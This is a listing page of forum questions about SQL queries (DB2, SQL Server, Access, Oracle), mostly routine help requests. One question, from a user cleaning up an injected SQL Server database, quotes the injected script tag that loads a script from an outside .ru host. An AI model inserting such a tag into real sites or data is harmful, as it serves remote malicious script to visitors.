SQL to pull consecutive numbers rows
Hello, I have a table with these sample recs. ColA ColB ColC 00100 295.00 295.00 00100 295.01 295.01 00100 295.02 295.02 00100 295.03 295.03 00100 295.04 295.04 00100 295.05 295.05 00100 295.10 295.15 00100 295.98 295.98 What SQL query (prefers not to use cursor if possible since it will involves 2 millions rows and can [...]
Answer Question
| November 20, 2008 10:49 PM
SQL, SQL Query
Hello, I have a table with these sample recs. ColA ColB ColC 00100 295.00 295.00 00100 295.01 295.01 00100 295.02 295.02 00100 295.03 295.03 00100 295.04 295.04 00100 295.05 295.05 00100 295.10 295.15 00100 295.98 295.98 What SQL query (prefers not to use cursor if possible since it will involves 2 millions rows and can [...]
SQL query to select highest test score
I am writing a sql to bring someone’s highest test score into a table. The sql is bringing in the highest test score possible, rather than the person’s test score. I assume MAX is making that happen. If I take MAX out, it returns the single row subquery returns more than one row error. What [...]
Answer Question
| November 21, 2008 11:42 PM
Distinct Records, MAX, SQL, SQL Query, SQL tables
I am writing a sql to bring someone’s highest test score into a table. The sql is bringing in the highest test score possible, rather than the person’s test score. I assume MAX is making that happen. If I take MAX out, it returns the single row subquery returns more than one row error. What [...]
SQL query error: token DATA
I am new to Db2 on iSeries. I am running some SQL script files using JDBC to create a repository on DB2 for my project. The query is of the form: Create table tbl_name(col1 datatype(size),…… ,coln datatype(size)) DATA CAPTURE NONE; I am getting error on token DATA.. I tried to execute this query on iSeries [...]
Answer Question
| September 23, 2009 5:54 PM
AS/400, DB2, JDBC, SQL Query
I am new to Db2 on iSeries. I am running some SQL script files using JDBC to create a repository on DB2 for my project. The query is of the form: Create table tbl_name(col1 datatype(size),…… ,coln datatype(size)) DATA CAPTURE NONE; I am getting error on token DATA.. I tried to execute this query on iSeries [...]
Converting a varchar to a numberic in SQL query
How can we convert a varchar field to Numberic in a SQL Query in db2 400?
Answer Question
| December 4, 2008 5:50 PM
AS/400, DB2, DB2/400, SQL Query, VARCHAR
How can we convert a varchar field to Numberic in a SQL Query in db2 400?
Issue SQL Query with Localized String through PowerShell
Hello, I am attempting to execute a an SQL query through PowerShell against an MS Access database. My query works 99% of the time, but occasionally a localized string will cause an error beacuse it contains a single quote (‘) somewhere within the localized string. You can look at the following example to get a [...]
Answer Question
| November 5, 2008 11:51 AM
Database programming, Localized String, Microsoft Access, PowerShell, Scripting, SQL, SQL Query, Windows PowerShell, Windows scripting
Hello, I am attempting to execute a an SQL query through PowerShell against an MS Access database. My query works 99% of the time, but occasionally a localized string will cause an error beacuse it contains a single quote (‘) somewhere within the localized string. You can look at the following example to get a [...]
SQL help
hiow to pick only alphbets in a string or a column using sql
Answer Question
| November 3, 2008 9:43 AM
Data Types, SQL, SQL Query
hiow to pick only alphbets in a string or a column using sql
Need SQL query
Hi, I have a emp table in which I have 7 columns and hiredate is one of the columns. I need to query for the hiredate which has maximum number of employees joined the company on a particular date?
Answer Question
| November 21, 2008 8:36 AM
SQL development, SQL Query, SQL tables
Hi, I have a emp table in which I have 7 columns and hiredate is one of the columns. I need to query for the hiredate which has maximum number of employees joined the company on a particular date?
SQL Queries
pls any one help me I Need to disply in o/p only alphabets but not any numbers or integers for this i/p as follows i/p o/p —– ———- 1.2NE NE 1.1NN NN 1.3.1NE NE 1.1CE CE 1.2.2NN NN 1.6.2NN NN 1.3CE CE 1.3CE CE 1.1 — 2 —- 11 – THANKS IN ADVANCE SURENDRA
Answer Question
| November 25, 2008 3:42 AM
Data Types, SQL, SQL Query
pls any one help me I Need to disply in o/p only alphabets but not any numbers or integers for this i/p as follows i/p o/p —– ———- 1.2NE NE 1.1NN NN 1.3.1NE NE 1.1CE CE 1.2.2NN NN 1.6.2NN NN 1.3CE CE 1.3CE CE 1.1 — 2 —- 11 – THANKS IN ADVANCE SURENDRA
I need to display only last two characters
i need to disply only last two characters in a column, the column data like this 1.3.2NE,1.2.2NN,1.10CE,1.11.1NN,10.3 for this i need output like this NE,NN,CE,NN
Answer Question
| October 24, 2008 3:14 AM
SQL, SQL Query
i need to disply only last two characters in a column, the column data like this 1.3.2NE,1.2.2NN,1.10CE,1.11.1NN,10.3 for this i need output like this NE,NN,CE,NN
Slow performance for a SQL query
I have a SQL query I am running, but it is experiencing significant slowdown. The main table – has over 1 million records and a unique key of cusID. It has a one to many relationship with the other two tables mentioned. The query code is as follows: Select customer.cusID,customer.VisitDate, Customer.ExitDate, Customerchrgs.chrgsDate, mainCharge.cpt_code, mainCharge.chrgs_code, Customer.cust_type [...]
Answer Question
| October 24, 2008 6:22 PM
SQL performance, SQL Query, SQL Server performance
I have a SQL query I am running, but it is experiencing significant slowdown. The main table – has over 1 million records and a unique key of cusID. It has a one to many relationship with the other two tables mentioned. The query code is as follows: Select customer.cusID,customer.VisitDate, Customer.ExitDate, Customerchrgs.chrgsDate, mainCharge.cpt_code, mainCharge.chrgs_code, Customer.cust_type [...]
Return specific level parent
Can anyone help? I have a table, with 7 records ID ParentID Level ——- ————- ————— 01 (empty) 1 A 01 2 BC A 3 X BC 4 B 01 2 DE B 3 Y DE 4 I need a query to return, for every record in the table, the corresponding ‘Level 2′ ID, excluding [...]
Answer Question
| October 22, 2008 11:04 AM
Database programming, SQL, SQL Query
Can anyone help? I have a table, with 7 records ID ParentID Level ——- ————- ————— 01 (empty) 1 A 01 2 BC A 3 X BC 4 B 01 2 DE B 3 Y DE 4 I need a query to return, for every record in the table, the corresponding ‘Level 2′ ID, excluding [...]
Extracting data from a DB2 table using IKJEFT01
I’m trying to extract data from a DB2 table via an SQL query and use IKJEFT01 to create a flat file. However, one of the non-key fields contains characters that are not nulls but non-printable. Whenever IKJEFT01 extracts these characters it changes them to nulls in the flat file. Is there an alternative IBM utility [...]
Answer Question
| September 22, 2009 12:30 PM
DB2, DB2 Table, IKJEFT01, SQL Query
I’m trying to extract data from a DB2 table via an SQL query and use IKJEFT01 to create a flat file. However, one of the non-key fields contains characters that are not nulls but non-printable. Whenever IKJEFT01 extracts these characters it changes them to nulls in the flat file. Is there an alternative IBM utility [...]
Get all table names by SQL
Hi, How can I get all the table names of a bib by a SQL-query? Thank you.
Answer Question
| April 17, 2013 7:34 AM
Bib tables, SQL, SQL development, SQL Query
Hi, How can I get all the table names of a bib by a SQL-query? Thank you.
T-SQL Query- how to explode XML fragment stored as NText into table?
I’m using a commercial storefront software that offers “extension data” fields as NText to store custom data. I am storing an xml fragment that looks like this: <priceSplit xmlns="http://tempuri.org/priceSplit.xsd"> <split> <type>Credit Processing Fee</type> <acct_code>901010300</acct_code> <value>0.30</value> </split> <split> <type>Shipping Fee</type> <acct_code>901010500</acct_code> <value>0.30</value> </split> <split> <type>Proceeds</type> <acct_code>900000000</acct_code> <value>9.4000</value> </split> </priceSplit> I need to explode this data into [...]
Answer Question
| September 25, 2008 8:03 PM
Query, SQL Query, SQL Server 2005, T-SQL, XML
I’m using a commercial storefront software that offers “extension data” fields as NText to store custom data. I am storing an xml fragment that looks like this: <priceSplit xmlns="http://tempuri.org/priceSplit.xsd"> <split> <type>Credit Processing Fee</type> <acct_code>901010300</acct_code> <value>0.30</value> </split> <split> <type>Shipping Fee</type> <acct_code>901010500</acct_code> <value>0.30</value> </split> <split> <type>Proceeds</type> <acct_code>900000000</acct_code> <value>9.4000</value> </split> </priceSplit> I need to explode this data into [...]
Writing a query in SQL for use in SQL Server 2005
I’d like to write a query that would allow me to view items with a characteristic of my choosing and filter out the others. Is it possible to write something like this in SQL and use it in SQL Server 2005?
Answer Question
| September 17, 2008 3:14 PM
Query, SQL, SQL Query, SQL Server 2005
I’d like to write a query that would allow me to view items with a characteristic of my choosing and filter out the others. Is it possible to write something like this in SQL and use it in SQL Server 2005?
Writing a specific query involving primary keys in SQL
I need to write a query in SQL that will get the fifth-from-last record from my database when either a primary key is defined or no primary at all is defined. How would this query look?
Answer Question
| September 16, 2008 5:51 PM
Primary keys, Query, SQL, SQL Query
I need to write a query in SQL that will get the fifth-from-last record from my database when either a primary key is defined or no primary at all is defined. How would this query look?
SQL Query
Is it possible to write a query that goes through the entire database to search out a particular phrase to delete it, instead of going table by table? This is on a SQL 2005 Database that was injected. The following appears throughout the database tables: <script src=http://www.jic2.ru/script.js></script> This appears all over in different tables exactly [...]
Answer Question
| September 28, 2008 8:53 PM
SQL Query, SQL Server 2005
Is it possible to write a query that goes through the entire database to search out a particular phrase to delete it, instead of going table by table? This is on a SQL 2005 Database that was injected. The following appears throughout the database tables: <script src=http://www.jic2.ru/script.js></script> This appears all over in different tables exactly [...]
Can I do create dynamic table while bulk insert ?
Hi, I am Software Engineer, I am using SQL-SERVER, I have a issue with it. I want to write a query to dynamically create a table when using BULK Insert. No of Column is dependent upon no of fields available in first row. Assume that in each row no of column is same.Column name can [...]
Answer Question
| September 22, 2008 4:58 PM
SQL Query
Hi, I am Software Engineer, I am using SQL-SERVER, I have a issue with it. I want to write a query to dynamically create a table when using BULK Insert. No of Column is dependent upon no of fields available in first row. Assume that in each row no of column is same.Column name can [...]
Records with null value not in output
See query: select distinct f2.description Business_Unit, f3.description Department, f4.description Function, a.segment5 Account, f5.description Account_Description, sum(nvl(d.entered_dr,0) – nvl(d.entered_cr,0)) Actual, (Select sum(nvl(dd.entered_dr,0) – nvl(dd.entered_cr,0)) from apps.gl_je_headers_v cc, APPS.GL_JE_LINES_V dd, apps.gl_code_combinations aa, apps.fnd_flex_values_vl ff2, apps.fnd_flex_values_vl ff3, apps.fnd_flex_values_vl ff4, apps.fnd_flex_values_vl ff5, apps.gl_budget_versions ee where dd.code_combination_id = aa.CODE_COMBINATION_ID and dd.code_combination_id = d.code_combination_id and cc.JE_HEADER_ID = dd.JE_HEADER_ID and cc.BUDGET_VERSION_ID = ee.BUDGET_VERSION_ID [...]
Answer Question
| August 15, 2008 2:46 PM
NULL, SQL Query
See query: select distinct f2.description Business_Unit, f3.description Department, f4.description Function, a.segment5 Account, f5.description Account_Description, sum(nvl(d.entered_dr,0) – nvl(d.entered_cr,0)) Actual, (Select sum(nvl(dd.entered_dr,0) – nvl(dd.entered_cr,0)) from apps.gl_je_headers_v cc, APPS.GL_JE_LINES_V dd, apps.gl_code_combinations aa, apps.fnd_flex_values_vl ff2, apps.fnd_flex_values_vl ff3, apps.fnd_flex_values_vl ff4, apps.fnd_flex_values_vl ff5, apps.gl_budget_versions ee where dd.code_combination_id = aa.CODE_COMBINATION_ID and dd.code_combination_id = d.code_combination_id and cc.JE_HEADER_ID = dd.JE_HEADER_ID and cc.BUDGET_VERSION_ID = ee.BUDGET_VERSION_ID [...]
How Do I assign a value if a value in the field is empty
In my script (that is not working yet) I want to make sure if “full_value” (a field) is empty in a particular record then the value zero will be inserted. This is working in Access, but I’m trying to rebuild the query in SQL. Thank you. SELECT DISTINCT oas_balance.cmpcode, oas_balance.el1, oas_balance.el2, oas_balance.full_value, CASE WHEN balcode [...]
Answer Question
| August 13, 2008 12:31 AM
CASE statement, SQL, SQL Query
In my script (that is not working yet) I want to make sure if “full_value” (a field) is empty in a particular record then the value zero will be inserted. This is working in Access, but I’m trying to rebuild the query in SQL. Thank you. SELECT DISTINCT oas_balance.cmpcode, oas_balance.el1, oas_balance.el2, oas_balance.full_value, CASE WHEN balcode [...]





